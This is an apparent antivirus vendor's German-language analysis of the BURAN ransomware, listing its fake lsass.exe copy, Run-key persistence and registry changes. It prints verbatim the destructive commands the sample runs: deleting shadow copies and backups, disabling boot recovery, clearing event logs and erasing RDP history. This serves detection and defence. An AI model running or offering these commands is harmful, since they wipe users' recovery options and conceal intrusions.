Ransom.Win32.BURAN.WGL

Wird ausgeführt und löscht sich dann selbst.

Installation

Schleust die folgenden Eigenkopien in das betroffene System ein:

• %Application Data%\Microsoft\Windows\lsass.exe

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

• %System%\cmd.exe" /e:on /c md "%Applicatyion Data%\Microsoft\Windows" & copy "%Desktop%\{Malware Name}.exe" "%Application Data%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%Application Data%\Microsoft\Windows\lsass.exe\" *"
• reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%Application Data%\Microsoft\Windows\lsass.exe\" *"
• "%Application Data%\Microsoft\Windows\lsass.exe" *
• ping -n 3 127.1
• "%System%\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
• bcdedit /set {default} bootstatuspolicy ignoreallfailures
• "%System%\cmd.exe" /C bcdedit /set {default} recoveryenabled no
• bcdedit /set {default} recoveryenabled no
• "%System%\cmd.exe" /C wbadmin delete catalog -quiet
• wbadmin delete catalog -quiet
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup
• wbadmin delete systemstatebackup
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
• wbadmin delete systemstatebackup -keepversions:0
• "%System%\cmd.exe" /C wbadmin delete backup
• wbadmin delete backup
• "%System%\cmd.exe" /C wmic shadowcopy delete
• wmic shadowcopy delete
• "%System%\cmd.exe" /C vssadmin delete shadows /all /quiet
• vssadmin delete shadows /all /quiet
• "%System%\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
• reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
• /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
• reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
• /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
• reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
• "%System%\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
• attrib "%User Profile%\documents\Default.rdp" -s -h
• "%System%\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
• "%System%\cmd.exe" /C wevtutil.exe clear-log Application
• wevtutil.exe clear-log Application
• "%System%\cmd.exe" /C wevtutil.exe clear-log Security
• wevtutil.exe clear-log Security
• "%System%\cmd.exe" /C wevtutil.exe clear-log System
• wevtutil.exe clear-log System
• "%System%\cmd.exe" /C sc config eventlog start=disabled
• sc config eventlog start=disabled
• "%System%\notepad.exe" %Desktop%\!!! YOUR FILES ARE ENCRYPTED !!!.TXT
• "%System%\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%Desktop%\buran.exe" & if not exist "%Desktop%\buran.exe" exit )
• "%System%\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%Application Data%\Microsoft\Windows\lsass.exe" & if not exist %Application Data%\Microsoft\Windows\lsass.exe" exit )

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Wird ausgeführt und löscht sich dann selbst.

Hinterlässt Textdateien, um Lösegeld durch folgenden Inhalt zu erpressen:

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Local Security Authority Subsystem Service = ""%Application Data%\Microsoft\Windows\lsass.exe" *"

Andere Systemänderungen

Fügt die folgenden Registrierungsschlüssel hinzu:

HKEY_CURRENT_USER\Software\Buran III

HKEY_CURRENT_USER\Software\Buran III\
Service

HKEY_LOCAL_MACHINE\BCD00000000\Objects\
{GUID}\Elements\250000e0

HKEY_CURRENT_USER\Software\Microsoft\
Terminal Server Client

HKEY_CURRENT_USER\Software\Microsoft\
Terminal Server Client\Servers

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_CURRENT_USER\Software\Buran III
Knock = "666"

HKEY_CURRENT_USER\Software\Buran III\
Service
Public Key = ""

HKEY_CURRENT_USER\Software\Buran III\
Service
Machine ID = ""

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosX = "164"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosY = "100"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosDX = "716"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosDY = "638"